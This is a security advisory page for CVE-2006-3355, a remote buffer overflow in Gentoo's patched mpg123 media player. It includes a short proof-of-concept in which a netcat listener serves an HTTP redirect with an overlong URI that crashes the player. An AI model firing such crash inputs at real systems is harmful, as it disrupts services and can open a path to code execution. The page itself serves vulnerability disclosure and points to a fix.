Gentoo-Specific MPG123 Malicious URI Remote Buffer Overflow Vulnerability

BID:18794

CVE-2006-3355 |

Info

Gentoo-Specific MPG123 Malicious URI Remote Buffer Overflow Vulnerability

Bugtraq ID: 18794
Class: Boundary Condition Error
CVE:
Remote: Yes
Local: No
Published: Apr 03 2006 12:00AM
Updated: Jul 05 2006 04:19PM
Credit: Discovery is credited to Horst Schirmeier <[email protected]>.
Vulnerable: Gentoo media-sound/mpg123 0
Gentoo Linux
Not Vulnerable: Gentoo media-sound/mpg123 0.59s -r11

Discussion

Gentoo-Specific MPG123 Malicious URI Remote Buffer Overflow Vulnerability

The mpg123 application is prone to a remote buffer-overflow vulnerability because it fails to properly bounds-check user-supplied input before copying it to an insufficiently sized memory buffer.

This issue may allow remote attackers to execute arbitrary machine code in the context of the affected application.

This issue is specific to a patch applied to the Gentoo Linux version of mpg123.

Exploit / POC

Gentoo-Specific MPG123 Malicious URI Remote Buffer Overflow Vulnerability

The following commands are sufficient to demonstrate this issue by crashing affected applications:

( echo -ne "HTTP/1.1 302 Found\r\nLocation: "
echo -ne "http://fooooooooooooooooooooooooooooooooooooooooooooooooo/\r\n\r\n"
)| nc -lp 8080 &

mpg123 http://localhost:8080/

Currently we are not aware of any exploits for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

Solution / Fix

Gentoo-Specific MPG123 Malicious URI Remote Buffer Overflow Vulnerability

Solution:
A Gentoo Linux advisory and fixes are available to address this issue. Please see the referenced advisory for more information.

References

Gentoo-Specific MPG123 Malicious URI Remote Buffer Overflow Vulnerability

References:

© CVE.report 2026

Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. It is the responsibility of user to evaluate the accuracy, completeness or usefulness of any information, opinion, advice or other content. EACH USER WILL BE SOLELY RESPONSIBLE FOR ANY consequences of his or her direct or indirect use of this web site. ALL WARRANTIES OF ANY KIND ARE EXPRESSLY DISCLAIMED. This site will NOT BE LIABLE FOR ANY DIRECT, INDIRECT or any other kind of loss.

CVE, CWE, and OVAL are registred trademarks of The MITRE Corporation and the authoritative source of CVE content is MITRE's CVE web site. This site includes MITRE data granted under the following license.

Free CVE JSON API cve.report/api

CVE.report and Source URL Uptime Status status.cve.report